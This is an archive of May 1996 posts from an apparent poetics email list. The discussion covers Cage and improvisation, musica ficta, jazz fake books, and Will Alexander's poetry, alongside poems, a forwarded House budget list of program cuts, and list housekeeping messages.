From Cage. It was late 80s I believe. Messiaen improvised on a cathedral organ in France. I don't think John changed his mind abt jazz improvisation, but w/ the number pieces he admits (or at least he saw it this way) or gives permission for improvisation in a way he hadn't previously. He may talk abt this in an interview somewhere as well. I'll see if I can find a cite for you, if you have Retallack's _MUSICAGE_ it might be in there.

Rod

↑ Index

354. **Pierre Joris**
Help
Fri 17 May 1996

Would anyone have the snailmail address of the University of Sidney Press?
Please backchannel -- mercy buttercups, Pierre

========== Pierre Joris | "Form fascinates when one no longer has the force Dept. of English | to understand force from within itself. That SUNY Albany | is, to create." -- Jacques Derrida

Albany NY 12222 | tel&fax:[redacted] | "Poetry is the promise of a language." email: | -- Friedrich Holderlin [redacted]|
==========

On Fri, 17 May 1996, Rod Smith wrote:

> *Re Cage & improvisation-- actually he sd he changed his mind about improvisation after hearing Messian improvise on the organ.*
>
> *--Rod*
>
> *Fascinating information, Rod. Thanks for offering it.*
> *Where did you hear this?*
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> *All the best,*
>
> *Hardin*
>
> *From Cage. It was late 80s I believe. Messiaen improvised on a cathedral organ in France. I don't think John changed his mind abt jazz improvisation, but w/ the number pieces he admits (or at least he saw it this way) or gives permission for improvisation in a way he hadn't*
> *previously. He may talk abt this in an interview somewhere as well. I'll see if I can find a cite for you, if you have Retallack's _MUSICAGE_ it might be in there.*
>
> *Rod*

↑ Index

355. Alan Golding
Bob Bertholf
Fri 17 May 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Does anyone have a number or e-mail address for Bob Bertholf at Fubbalo? I couldn't locate him through the EPC. Thanks.

Alan

↑ Index

356. **John Whiting**
Re: sometimes an informal Cage comes
Fri 17 May 1996

Cage certainly allowed for improvisation within the established parameters of the Four Songs he wrote for Electric Phoenix (SATB quartet plus electronics). He attended our first rehearsal at my studio in London and gave his approval to our rather free-wheeling approach; his only caveat was that the singers shouldn't listen to each other. His droll recognition of the groups' character was contained in his final note of instruction: "A virtuosic performance is invited." He got it!

John Whiting
October Sound (my other hat)
London

↑ Index

357. **Gabrielle Welford**
Re: range review Nobel form or lil Hans
Fri 17 May 1996

> *Lil Hans put his finger in the dike*
> *A group of Nobel Prize winning poets has declared that cyberspace*
> *is no place for serious verse, according to Reuters. Asked if the*
> *use of the Internet was one way to reverse the low popular appeal*
> *of poetry, the group said no. Poets Derek Walcott, Octovio paz,*
> *and Czeslaw Milosz were undaunted about the current dearth of*
> *readers. Walcott stated that "I'd rather have just one person*
> *who reads and feels my work deeply than hundreds of thousands who*
> *read it but don't really care about it." Milosz allowed that*
> *> > > > > computers were useful incomposition, but was skeptical that lovers*
> *of serious poetry would look for it on the Internet.*
> *yeah well, "seriouous" somea this Csezlaw*
> *cereal poetry on the cornflakes box made me what I am today*
> *"I read you, chaise-lounge, but i don't really care about you..."*
> *What I care about is demonstrating outside my window this morning*
> *twenty thousand lilac blossoms excercizing their rites*
> *exotica of the navel tickle the holy grails*
> *for smart bombs. Don't believe a word of it*
> *sparse gleanings from the ivoried groves of academ*
> *and don't forget those of us who have a visceral reaction to*

> *triumph of the human spirit stuff such as milosz and walcott churn*
> *out--our viscerae get bored.*
> *One develops an understanding of different levels of*
> *suffering.*
> *stuttering machine gun ducklings*
> *soliloquy*

↑ Index

358. **Gabrielle Welford**

House Budget Figures '97 (fwd)

Fri 17 May 1996

Thought ye'all might be interested in this. Gab.

---------- Forwarded message ----------
#########

U.S. House of Representatives
Committee on the Budget
Majority Caucus
Washington, DC 20515

Departments and Programs Recommended for Elimination
and Privatization in the
Fiscal Year 1997 House Budget Resolution

May 8, 1996

########### CLIP #################

* Terminate funding for the National Endowment for the Art after fiscal year 1997

* Terminate funding for the National Endowment for the Humanities after fiscal year 1998.

* Terminate funding for the National Capital Arts and Cultural Affairs.

* Eliminate national and community service programs (Americorps)

* Terminate the following

  - Migrant Education
  - College Assistance Migrant Program
  - Innovative Education Program Strategies State Grants
  - Instruction in Civics
  - Dropout Prevention Demonstrations
  - Ellender Fellowships

- Telecommunications Demo for Math
- National Difusion Network
- 21st Century Community Learning Centers
- National Writing Project

* Combine over 25 education programs into a single block grant to governors.

* Privatize Corporation for Public Broadcasting over six years.

* Eliminate Goals 2000, thereby restoring State and local authority over education standards.

* Eliminate Federal funding for bilingual education, thereby freeing local school districts to promote English proviciency.

* Discontinue unneeded [sic] annual capital subsidies for Perkins Loans, as proposed in the President's 1995 Budget. Retain Perkins Loan $6 billion revolving fund.

* Eliminate funding for the State Incentive Grant program.

* Eliminate the following programs:

- Student Financial Aid Database and Info Line
- Native Hawaiian & Alaska Native Culture & Arts development
- Eisenhower Leadership Program
- Innovative Projects for Community Service
- Cooperative Education
- Law School Clinical
- Urban Community Service
- National Early Intervention Scholarships
- Douglas Teacher Scholarships
- Olympic Scholarships
- Teacher Corps
- Harris Fellowships
- Javits Fellowshipos
- Legal Training for the Disadvantaged
- Faculty Development Fellowship Program

* Eliminate new awards from the Robert C. Byrd Scholarship program.

######### CLIP ############

* Eliminate subsidies to health professions education institutions that do not go directly to students.

########### END CLIP ##################

========== | >>>> The National Association of Graduate - Professional Students <<<< | | 825 Green Bay Road, Suite 270 PHONE: [redacted] | | Wilmette, IL 60091 FAX: [redacted] | | [redacted] | *----------* | NAGPS 11th National Conference - Santa Monica, California | | October 24 - 27, 1996 | | SAVE THE DATE!!! | +----------+----------+ | To get access to our Jobs Page, | The NAGPS National Office Area | | send e-mail to [redacted] ! | Code changed to 847!! | *----------+----------* | #### WWW Site > http://nagps.varesearch.com/NAGPS/nagps-hp.html #### | *----------* | >>>>>>>> Stop The Raid On Student Aid! * Call 1-800-574-4AID! <<<<<<<< | *==========*

This message | *** *** *** Stop the Raid on Student Aid! *** *** *** sent using the | Call 1-800-574-4AID NAGPS E-mail | Send your letter to [redacted] and NAGPS Server | will print it and hand-deliver it to your Congress people

↑ Index

359. Carnography

musica ficta

Fri 17 May 1996

Thought you might find this of interest.

My response to Jordan's thoughtful note on musica ficta, in which he mentioned that his Grove Dictionary defined musica ficta as the use of 'wrong notes' or unacceptable intervals--noncanonical intervals forbidden by the Church:

As someone who was actually taught musicology by nuns (simper), I must explain that both the _Grove Dictionary of Music_ (not as reliable as Apel's _The Harvard Dictionary of Music_ and Grout's _A Concise History of Western Music_, both of which are entirely by scholars with intensive musical backgrounds) and my own description of Musica Ficta are correct.

Certainly, forbidden intervals--"wrong-notes" as a technique applies more to Prokofiev than to medieval music--were encoded in musica ficta. But these were not necessarily incorrect, nor was this the only kind of musical information encoded in musica ficta. For example, certain cadences that were commonly understood to contain accidentals (such as the Landini Cadence, named after a

composer who used it frequently) would not be notated as such, since musicians were presumed to know the proper voicing to sing or to play. This kind of Cabalistic encoding of presumed knowledge also reminds me of the figured bass in baroque music, and which all composition and theory students are required to learn. In this light, _Gradus ad Parnassum_ can be seen as a kind of magical treatise. Finally, the omissions and reinterpretaions in jazz notation, such as the substitution of swing time for normal eighth notes, and the reification of diminished and half-diminished symbols in jazz chord notation--to say nothing of the voicings and soloing techniques one is presumed to know before even opening a fake book--contain a hidden system of knowledge and notation. In music, one frequently does a double- take when looking at a composition, looking for what is hidden in the purely abstract sense. So too, I think, do formal considerations in poetry--especially my favorite poetry--hinge on such dualities of referents and abstract codes:--and I mean *coding* literally--not in the linguistic sense of a set of conventions for converting one signal- ling system into another. To avoid confusion, maybe it is time for another neologism--*musicacrypta*, perhaps.

> *--all that best,*

Errata: Rereading my post, I see that I grouped the metaphysicals in with medieval work. Obviously, the metaphysical poets, who occasionally wrote pattern-poetry, such as George Herbert (1593-1633), are from the seventeenth century rather than the medieval period. I was thinking of the fourteenth century "Musical Heart"--a musical composition written in the shape of a heart--and forgot my chronological head. Play it, Thelonius...

Bested,

Rob Hardin

↑ Index

360. Loss Glazier
Re: Bob Bertholf
Fri 17 May 1996

Alan, his e-mail is [redacted] but I'm not sure how good a
way this is to contact him. It might be better to relay a message through
[redacted]
Regards,
Loss
PS. We list Basinski's address as the Poetry Room address in the EPC.

At 04:33 PM 5/17/96 EDT, you wrote:
>Associate Professor of English, U. of Louisville
>Phone: [redacted]; e-mail: [redacted]

>
>Does anyone have a number or e-mail address for Bob Bertholf at Fubbalo? I
>couldn't locate him through the EPC. Thanks.
>
>Alan
>
>

↑ Index

361. **Gary Hawkins**
Re: readings in NYC the next few days
Fri 17 May 1996

Don't know-- Chris just said he'd be there. Segue should know. For those of you near Seattle, he's performing Speakeasy 9 pm May 21.

Thanks, Rod, for endorsement. They say John Cage read two books in his last year: the _Holy Bible_ and Chris Mann.

Laura via G.Hawkins

> *G.H. wrote--*
>
> *Would like to add*
>
> *Segue May 18*
> *Chris Mann*
> *(Australian linguistic composer, phenomenal.)*
>
> *time?*
> *I highly tout this individual. Go, if you can, he's an amazement. Just read*
> *at Bridge Street, terrific performer/poet/composer.*
>
> *Rod*

↑ Index

362. **George Bowering**
Re: poetry in the nabes
Sat 18 May 1996

>>
>>On the other hand, I have neighbors who read Barret Watten.
>
>That's not so uncommon, the people next door to me have neighbors who read
>Watten too.
>

>
people next to me read Rona Watten.

.....
Is a counterfeit robot different from an ordinary robot?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

363. George Bowering
Re: Typo of the Day
Sat 18 May 1996

> *I'm intrigued by this Polis novelist you mentioned, George. Would that be Conrad Olson?*

No, no, Alan, Polis is what it says on the side of a cop car in Germany. I knew a cop who was writing a novel in one, on duty. Called the _Art of Dorkness_, all about people being hounded for committing the German crime of Qwertz-Blasm.

.....
Is a counterfeit robot different from an ordinary robot?

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

364. John Whiting
Re: musica ficta
Sat 18 May 1996

Rob Hardin's concise and thoroughly reliable summary of musica ficta (corresponding to my own memories of Edward Lowinsky's lectures at UC Berkeley), clicks on a hypertext connection with John Eliot Gardiner's recent publicizing of research which reveals that a number of Beethoven's most familiar symphonic

themes were taken from French revolutionary composers. While the press sniggered about plaigarism, Gardiner's own excellent program on the South Bank Show (London Weekend TV) made it clear that this was a "Masonic handshake" to the cognoscienti in which his sympathies were communicated under the very noses of the censors.

Such considerations are central to all discussions of form. Forms can be mysteries which are intended to be revealed to some but concealed from others, often as a defense against oppressive regimes. They presuppose an interlocking sequence of learned traditions which extend further back in time than mere nostalgia for the day before yesterday. At the simplest level, they impel us to stand up (or sit down!) for the National Anthem; at their most complex they beckon us to life-long journeys through the Cantos or the Maximus Poems.

In America, such cultural continuity has been undermined by two factors (among others): relative freedom of speech such that, except among compulsive conspirators, it is unnecessary to speak in code; and the advertising-impelled convention that no communication should require even a moment's reflection in order to understand it.

John Whiting
London

↑ Index

365. Jordan Davis
Re: musica ficta
Sat 18 May 1996

---

the advertising-impelled convention that no communication should require even a moment's reflection in order to understand it.

--You mean, like e-mail?

Jordan

PS George! You're back.
Won't you come join the range (formerly renga?) gang again?

↑ Index

366. FUNKHOUSER CHRISTOPH
words.html
Sat 18 May 1996

Wordherds

Words are like buffalo.
They will not be hurried, but instead

Lumber along at their own pace,
Tepid beasts at best.

They loom darkly and smell of mud and blackwater and stay
Hidden behind rheumy eyes.
They wallow in filth, blocking progress, and
None can guess their intent.

They will go where they will.
They crop from the gardens of all the world, and make them
Fertile with their leavings.

They level the earth.
They surge and cannot be dammed from
Where their need is sweetest.
Shrouding horizons in vagueness,
They grow plump and vast and portentous.

They are perfect keepers of secrets.

You cannot force them home; they must
Roam the parched fields where they belong to nobody.
Come sundown, they will amble back through the mist
To nuzzle you urgently in your dung-caked hut
And shape your dreams.

Back to the Poetry Page

↑ Index

367. landers

Re: fromal Fnich cmoes a/ a fomral Ficnh coems/

Sat 18 May 1996

Carnography <[redacted]> echoed:

> *BTW: I do not accept the idea that the Canon is such a "conspiracy" of straight white males.*

what? not enough evidence in the anthologies for you?

Peter Landers
[redacted]

↑ Index

368. **Charles Smith**
rules & conventions
Sat 18 May 1996

Mike,

Could you talk more about Burger's sense of "rules & conventios"? Does he mean rules re something one either obey or break & conventions are what one "plays" with? Or what?

<<What's the difference between "rules" and "conventions"? I just read an essay by Peter Burger in his collection called _The Decline of Modernism" ... in which he argues that one of the differnces, or points of modulation in the development of modernism (the transition from the 18th to the 19th century, from the Enlightenment to Romanticism) was the shift in poetic composition from rules to conventions and the different way that positioned the writer socially and as an "artist".>>

↑ Index

369. **Chris Stroffolino**
Re: fromal Fnich cmoes a/ a fomral Ficnh coems/
Sun 19 May 1996

"Did the finch devour the bluejay
 Right in the cleft of the dead bird of paradise?"
            from Bernadette Mayer's SONNETS--
there's also a poem called
   THE FALSE FINCH'S WEDDING GOWN....
    in the same collection....
 ----
p.s. so is any body going to give me the lowdown on Chris Mann's
      virtuoso improvisations (in either NYC or DC?)

↑ Index

370. **JOEL LEWIS**
stop sub
Sun 19 May 1996

help! I've been trying to stop e-mail while I'm away, but Mr.Listserv is not buying. Could some one shut off the works while I'm away?
Joel Lewis

↑ Index

371. Ken Edwards
querzblatz
Sun 19 May 1996

This is to announce formally that I am happy to be identified as a querzblatz poet, but I strongly deny being a Q=U=E=R=Z=B=L=A=T=Z poet.

I hope this makes things clear.

↑ Index

372. Ron Silliman
Will Alexander's work
Sun 19 May 1996

I've been reading Will Alexander's Asia & Haiti with great pleasure, and have a couple of questions.

The first has to do with a primary device of his, which for want of a better phrase I want to call "controlled overwriting." His work (and not just this book, but everything I've ever seen by him) is with dense contradictory phrases on the order of

"in this primeval penumbra
in this heightened verdigris scarlet
in this incisive analogical omniscience"

In this almost logorheaic excess (a pleonast's plenitude), particularly given the long and open nature of the texts, I at moments sense a kind of deja vu echo of Frank Stanford's old "the battlefield where the moon says i love you" (Lost Roads/Mill Mountain, 1977), an American surrealist classic that is ultimately a very raw text by a very young writer. But Alexander is neither raw nor young and it's apparent he revises (at least one of the footnotes for page 12, for example, seems to refer to an earlier stage of the text).

If most of us tried this kind of cumulative effect even in a first creative writing course (and maybe especially there), we'd get shot down pretty fast. So I want to know what it is about Alexander's use of it that makes it so effective, even riveting.

My second question is for someone like Walter Lew, say, who might find the adoption of the collective "we" and dense use of stereotypes. I know that I cringe at the undifferentiated use of a term like Marxists, as in

"these drab & scaly Marxists"
or, later
"here was Marx
here was the State"

which profoundly fails to grasp the anti-statist impulse that runs throughout Marx's own work (tho not that of Lenin and his followers, say)

So how does this level of generalization play out racially, esp. when the author is an African American who is obviously brilliant and knows what he's doing?

Just asking....

Ron Silliman
[redacted]

PS,...and let me echo others' comments on what a pleasure it is to see George Bowering back on the list.

↑ Index

373. **Tony Green**
Re: musica ficta
Sun 19 May 1996

---

apropos swing time eighth notes in jazz -- there is a similar usage in French styles of keyboard music -- 17th century for equivalents of eighth notes. This is "articulation"? Some J.S. Bach can sound nice (to my jazz corrupted ear) that way too and that is without drums and bass and Swingles -- also some English 16th century keyboard music. When did "European" written music get to be played "strictly" as written? about 1760? or is it later? I agree that questions like this are important to the notions of strict measured form (in any arts). I can't believe in some of the very rapid mechanical sounding playing of Mozart fortepiano/(clavichord?) sonatas (especially the early ones) in much 20th century performance. They seem to me to need articulatory freedoms of various kinds. Dinah Washington shd have sung them. performance either.

Tony Green,
e-mail: [redacted]

↑ Index

374. **Tony Green**
Re: Typo of the Day
Sun 19 May 1996

George, just count da feet.

Tony Green,
e-mail: [redacted]

↑ Index

375. Tony Green
Re: a formal Finch comes
Sun 19 May 1996

Dear Michael Boughn, read Amelia a renga or two, see if that induces sleep.
Best

Tony Green,
e-mail: [redacted]

↑ Index

376. Fred E. Maus
Re: musica ficta
Sun 19 May 1996

> *apropos swing time eighth notes in jazz -- there is a similar usage*
> *in French styles of keyboard music -- 17th century for equivalents of*
> *eighth notes. This is "articulation"?*

notes inegales

> *Some J.S. Bach can sound nice*
> *(to my jazz corrupted ear) that way too and that is without drums and bass and*
> *Swingles -- also some English 16th century keyboard music. When*
> *did "European" written music get to be played "strictly" as written?*
> *about 1760? or is it later?*

never, the notation always underdetermines the performances, always, and the (somewhat) mechanical-sounding rhythms one might find in Toscanini or Hogwood are as much a product of interpretation as the highly articulated performances of Fischer or Leonhardt. (and they are not so mechanical either, especially Toscanini's. on the inadequacy of the "literalist" interpretation of Toscanini's performances, and the role of literalism in p-r puffery, see Horowitz _Understanding Toscanini_)

the best recent writings on performance practice, to my taste, are those of Richard Taruskin, gathered in a recent collection from California. among other things RT argues, convincingly I think, that the rigid "text-oriented" style of performance is a manifestation of early-20th-c modernist taste.

↑ Index

377. Tony Green
Re: musica ficta
Sun 19 May 1996

Thanks Fred E Maus for intrsting comments. I must check out Taruskin. Certainly mechanical sound is interpretation, but it seems to me the easy way out (tho tough on fingers etc no doubt).

Tony Green,
e-mail: [redacted]

↑ Index

378. Carnography
Re: musica ficta
Sun 19 May 1996

Fred E. Maus typed:

> *never, the notation always underdetermines the performances,*

I wouldn't have put it quite that way, but I do agree.
In classical music performance, interpretation is far less
strict than people imagine. Learning a piece of music and
then hearing it played by someone else is rather like burning
some beloved poem into the memory, only to discover that the
the very rhythms and sonic properties you'd presumed were
intrinsic to everyone's interpretation--most of all the
author's--might prove the overlay of your very own ear.

> *the best recent writings on performance practice, to my taste,*
> *are those of Richard Taruskin, gathered in a recent collection*
> *from California. among other things RT argues, convincingly I*
> *think, that the rigid "text-oriented" style of performance is a*
> *manifestation of early-20th-c modernist taste.*

I'm not convinced *yet*, but I'd like to be persuaded.
Do you have the title and publisher of the book? If so,
tell us. Perhaps we can discuss it.

However: being "text-oriented" is hardly a side-effect of modernism. If so, what was Thomas Campion? (And yes, I do see that you've qualified "text-oriented" with quotes and the adjective "rigid.")

And for the record: In important ways, musica ficta was as score-specific as Beethoven. Dynamic and phrase markings didn't exist yet, but rhythms and notes were written as they are today.

All the best,

Rob Hardin

↑ Index

379. Rae Armantrout
ALA Conference
Sun 19 May 1996

Are any of you Listees planning on coming to San Diego for the ALA conference in a couple of weeks? Could someone backchannel me with info abt interesting panels?

Rae Armantrout

↑ Index

380. Tom Mandel
musica ficta
Sun 19 May 1996

Re: Beethoven's melodies. I believe the issue of ownership of melody was not raised until about a decade or so after Beethoven's death. No one thought -- at least this is my understanding -- that a melody was owned by anybody, constitued what we now call "intellectual property."

Tom Mandel

↑ Index

381. Chris Stroffolino
Re: Will Alexander's work
Sun 19 May 1996

I am very glad that Ron has brought up Will Alexander for consideration here. Though I haven't read ASIA AND HAITI in over a year (I remember finding ASIA more engaging than HAITI; and I also tend to prefer other shorter work of Will's better--such as "Being As Neutrality And Drift" but I digress),and I'm having a hard time finding my notes on it.... Actually, a question for RON--What PAGE is the line about the PENUMBRA from---because context may matter in terms of the question you ask about whether he contradicts himself, and on what level, etc. For, my memory of ASIA (which I think that passage is from) was that despite the "us" vs. "them" frame device, these contradictions are really complications that deal as much with the "internal" enemy. But, again, I want to see the context of the lines you quoted. Perhaps this goes towards answering the MARXIST question. I think that regardless of Alexander's general views of Marxism, the historical specificity of the poem allows him to get away with such generalizations because it is being

spoken by, and/or through (the p.o.v. goes back and forth between Alexander and the monks), these beings persecuted by MAOISTS who did invoke MARX. For instance, if I were to write a poem attacking CHRISTIAN HYPOCRISY that wouldn't necessarily be attacking christ (say Sinead O'Connor pope picture incident). For me the problem is not so much Alexander's reduction of Marx as it is the Maoist's misapplication of same Marx.... Chris

↑ Index

382. Jordan Davis
Fwd: address change for Maria Damon
Sun 19 May 1996

dear poetrixers, i'm unsubbing for now, but if anyone wants to contact me directly i'm at [redacted] until june 11, thereafter at [redacted] love, maria d

↑ Index

383. Aldon L. Nielsen
Re: the rhetoric of surrealism?
Mon 20 May 1996

Ron? Are those by any chance rhetorical questions? because, don't they pose answers and ask for someone to explain why those answers might be wrong? You, of course, don't expect an answer from me, do you? because, what could I possibly say about such intentionally contradictory lines that raise again the ole bug bear of intention the which bugbear I'm too bugged to get into here agin?

BUT -- (I don't have answers bevause I haven;t thought even about the questions yet, this being one problem, for me, of such e-mail, that I write a response before I've thought carefully about what's been said!) --

There IS, I think, a very interesting recption question here, as Alexander was indeed dinged, blasted, rejected, etc. for years, during which time _Hambone_ was one of the very few places he could get published -- & now seemingly suddenly folks are calling himn up for manuscripts & rushing to his defense in the _American Book Review_ -- claiming his work for their own very contradictory purposes (are Weinberger and Noto reading the same Will Alexander -- and how about the way they read him at the _Apex of the M_, which certainly ain't the way he's read over at _Sulfur_, undsoweiter,,, and none of these folk seem to have read that earlier book from Jazz press,, but I DO think it's a reception question 'cause as you so rightly point out, the writing itself has not changed that much, just the reading of it $($*$

so, what ARE the right answers to those questions anyway --

love,
we who say "we" and mean every word of it --

↑ Index

384. **Aldon L. Nielsen**
Re: rhetoric of surrealism II
Mon 20 May 1996

---

tho to be just one shade more srious about Ron's questions --

I think any useful answers to the latter will have to account for the fact that hte line about "Marxists" is spolen by a "collective voice of rebellious monks" from a "focal point of anti-Chinese feeling" -- That is, we can still talk about what Alexander is up to in these lines, but we have to begin by looking at the rhetorical context OF the lines, their status as lines spoken by fictive characters --

"the" "line" "serious" "spoken" [insert correct words above as required]

↑ Index

385. **Bob Holman**
Re: POETICS Digest - 18 May 1996 to 19 May 1996
Mon 20 May 1996

Sun (5/19/96), NYTimes "Arts and Leisure" (not Book Review) USOP CD review updates Wordsworth's definition of poetry. To me, Stephen Holden finally breaks with the media's love affair with performed poetry as a sociological phenonmenon and begins to treat it as art.

↑ Index

386. **Gwyn McVay**
Re: POETICS Digest - 18 May 1996 to 19 May 1996
Mon 20 May 1996

Yes, Bob, saw that review--was amazed at his cogent words on many of the pieces, esp. Sparrow's wonderful vivid piece and old god-daddy Ginsberg, and his ability to make subtle distinctions between artists like Leonard Cohen and Lou Reed. Of course you could debate until eternity what it *means* to be "more a poet than a musician" or vice versa--how he characterized Cohen and Reed, respectively--but it's nice to see that level of skilled attention being paid to perf-po in the Times.

Gwyn McVay

↑ Index

387. **Fred E. Maus**
Re: musica ficta
Mon 20 May 1996

> *the best recent writings on performance practice, to my taste, are those of Richard Taruskin, gathered in a recent collection from California. among other things RT argues, convincingly I think, that the rigid "text-oriented" style of performance is a manifestation of early-20th-c modernist taste.*
>
> *I'm not convinced *yet*, but I'd like to be persuaded. Do you have the title and publisher of the book? If so, tell us. Perhaps we can discuss it.*

Text and Act from Oxford U P (not California, which has published other things of his but not this one), 1995. I hope I can commend this as a brilliant book without endorsing Taruskin's bombastic rhetoric.

> *And for the record: In important ways, musica ficta was as score-specific as Beethoven. Dynamic and phrase markings didn't exist yet, but rhythms and notes were written as they are today.*

Hmm? I thought the point about ficta was that some of the notes are *not* written the same way: to us it looks like one pitch, but the intended sound is a half step away from what we might think.

↑ Index

388. **Burt Kimmelman**
Re: Bob Bertholf
Mon 20 May 1996

---

loss,

is that michael basinski by any chance?

burt

↑ Index

389. **Burt Kimmelman**
fake book
Mon 20 May 1996

---

speaking of musica ficta, does anyone know anything etymologically or otherwise about the term "fake book" used among jazz musicians but elsewhere too?

↑ Index

390. **Jordan Davis**
Poetry / Stephen Holden
Mon 20 May 1996

Has Stephen Holden published any poems lately? Last thing I saw (pretty if conventional, mainly about stars) was in an anthology from 20 years ago or so. --Jd

PS What's the title of the first Alexander book?

↑ Index

391. **Jena Osman**
chain/3 now available
Mon 20 May 1996

Forwarded message:
Date: Mon, 20 May 1996 10:44:05 -0400 (EDT)
From: Jena Osman <[redacted]>
To: Jena Osman <[redacted]>
Subject: chain contribs (fwd)

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392. **Herb Levy**
Re: fake book
Mon 20 May 1996

A fake book is a compilation of lead sheets for popular or standard songs that band members at casuals (gigs like weddings at which the band members may not have ever played together before, let alone rehearsed a particular repertoire) or at bars where you never know what song someone will request. It's "fake" because it provides enough information to fake your way through the tune without rehearsal or prior knowledge of the tune.

There's been a subsequent publication, called the real book, that is used in the same way, but instead of being photocopied (technically illegally) is an actual offset published book for which the composer royalties have been paid.

Many players still use fake books, though, cause the real book, because it has paid royalties, has only a limited selection & isn't as comprehensive, or idiosyncratic, as the usual fake book.

> *speaking of musica ficta, does anyone know anything etymologically or otherwise about the term "fake book" used among jazz musicians but elsewhere too?*

Herb Levy
[redacted]

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393. **Carnography**
Re: fake book
Mon 20 May 1996

At 9:13 AM 5/20/96, Burt Kimmelman [redacted] is rumored to have typed:

> *speaking of musica ficta, does anyone know anything etymologically or otherwise about the term "fake book" used among jazz musicians but elsewhere too?*

From my earliest memories of playing with the conveniently-named Thara Memory to my last jazz performance with members of the Cecil Taylor Ensemble (or whatever they were called), I noticed that musicians' references to fake books were always made in the context of "faking it"--ie, of playing the head, improvising over the changes, playing the head again and then going to the tag. Obviously, certain tunes in fake books are through-composed (no repeating sections, no improv in the stricter sense). But fake books are usually comprised of melodies and chord symbols rather than complete arrangements--hence the term.

The most famous fake book is the one that issues from The Berkeley School of Music, which is called The Real Book. In it, one finds more elaborate arrangements than is usually the case. But if there weren't room in the Real Book for "faking it"--a witty, self- deprecating term for the ability to extemporize if ever I heard one-- then we probably wouldn't think of it as jazz.

Can you think of anything approximating a fake book in poetry? If so, tell us. This is pertinent to the subject of poetic notation.

All the best,

Rob Hardin

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394. **Carnography**
Re: musica ficta
Mon 20 May 1996

Fred E. Maus typed:

> *_Text and Act_ from Oxford U P (not California, which has published other things of his but not this one), 1995.*

Thanks for the information!

Me:

> *And for the record: In important ways, musica ficta was as score-specific as Beethoven. Dynamic and phrase markings didn't exist yet, but rhythms and notes were written as they are today.*

Fred:

> *Hmm? I thought the point about ficta was that some of the notes are *not* written the same way: to us it looks like one pitch, but the intended sound is a half step away from what we might think.*

Yes, you are correct in stating that in musica ficta, certain notes are not played as written. But the written notes still suggest exact raised and lowered pitches, hence the music is still score- specific. If medieval musicians had been allowed allowed to *improvise on the idea* of raising and lowering notes, we might find less score- specific processes in effect.

However, there *is* real improvisation in the baroque period, both in practice (we read about the public riffing of Bach and others) and in notated form (realizations of the figured bass).

Still: there was a kind of conceptual improvisation in late medieval music that fascinates me: the mensuration canons of Ockeghem, for example, and his mass that was written to be performed in any key.

What might the parallel be in writing? A play that could either be performed as a tragedy or a farce? A multicultural discovering-my- identity poem that could be read from the point of a person from any race, gender, religious or sexual orientation? A descriptive poem in which all nouns and verbs can be transposed?

All the best,

Rob hardin

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395. **Fred E. Maus**

Re: fake book (fwd)

Mon 20 May 1996

---

from Michael Morse at York University:

> *To my knowledge, "Fake Book" comes from "to fake," i.e., to play by ear and intuition a piece you've never played (or sometimes even heard) before. Thus a fake _book_ lets you play previously unfamiliar material. That the use of the book means you are no longer (literally) "faking it" is an intriguing paradox. However, many of the books were so rife with mistakes, especially in terms of harmonic progression, that the performer was still left to their own devices, and obliged to repair the goofs on the fly. In that sense, a "fake book" was one which could not be read or used uncritically.*
>
> *An illustration: when the Bostonian "Real Book"--complete with an arrogant introduction, distancing itself from "fake" books came out in the seventies, it disseminated a whole new series of mistakes and misunderstandings. These quickly led experienced players to ask obvious neophytes if the tune they'd suggested was learned from the Real Book. If the answer was "yes," a hurried conference ensued, correcting the book's gaffes. If, as sometimes happened, the neophyte insisted on the authority of the written text, the usual upshot was refusal to play the piece, typically effected by hurriedly counting off another number. I remember playing Bronislaw Kaper's "Invitation" with a youthful quintet once, who knew the song solely from the Real Book. To save space, the compilers notated an A - B - A' piece as A - B, d.c., coda. Is "coda" only the last time, then? A fascinating ambiguity--one which led, within the space of a few choruses, to the band ending up in FIVE different places..*
> *MWM*

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396. **Herb Levy**
Re: fake book
Mon 20 May 1996

Rob Hardin wrote:

> *Can you think of anything approximating a fake book in poetry?*
> *If so, tell us. This is pertinent to the subject of poetic notation.*

Cause (even in performance poetry situations) people rarely ask an artist to do a poem that isn't their own, the issue is pretty different.

In the few cases when someone does interpret the work of another, there's less leeway than is usually the case for a musician. I mean, if someone asked for, say, Frank O'Hara's "In Memory of My Feelings" they probably wouldn't be satisfied with something that had the broad formal outline correct, but which had some different words. Even when the words are all correct, there's often a sense that a performance that strays from that of the original poet's is not "right."

The only example that I can think of in poetry like a fake book are the various dictionaries of poetic forms that describe how many lines of how many syllables stressed in what ways etc. make up a pantoum or an alexandrine or a whatever.

But these aren't guides for recreating a specific work, rather for creating something in a more general form.

Herb Levy
[redacted]

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397. **Alan Sondheim**
Rudyard Kipling's If
Mon 20 May 1996

If, by Rudyard Kipling

If I could I always would go to the tree where my parents stood There in the night with candle light I'd cry Babylon for my daughter's plight Down where my son has almost gone, I'd find the one with the golden palm Back where the flame has blackened my name I'd play the game of silver fame With weeping and wails in rains and hails I'd set my ship with copper sails And travel the Net where I would would get my family and yet the storm would set Upon the stores with fire and hail the whores of Babylon scream their wars And I'd go no farther for sister or brother or bother a mother or kill the father Beneath the world where famished for food in angry mood the couple lewd Did pace this space to make a face my own with grace that died apace O die decease in peace the

lease of land is found with crease Where Tigris flows Euphrates goes the couple lewd on raft sights crows And other birds or troubled herds that make these words fulfill with woes What I could say if I could splay my legs to play in eagle's way Where fire sires liars, pyres expire, wires tire, cryers mire And if I could I would be mood wood.

---

http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ Ich war Hamlet. Ich stand an der Kuste und redete mit der Brandung BLABLA, im Rucken die Ruinen von Europe. Heiner Muller

↑ Index

398. **Jordan Davis**
Re: fake book
Mon 20 May 1996

Rob-- there is rumored to be a phrase book for speakers of english entitled '10,000 useful english phrases' many of which phrases turn up in recent poetry-- also a _standard book of american faces_, a typeface book done by an insane or maybe modernism-damaged New Jersey compositor genius circa 1934 has yielded up some happy compositions or rather some happy composing experiences for me-- emil littr=E9's french dictionary was a sort of fake book for ponge-- Kim Lyons has written (or maybe just talked about?) on using any dictionary any reference work as fake book-- Tim Davis seems to be using everything around him as a fake book-- Jordan

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399. **Carnography**
Re: fake book (fwd)
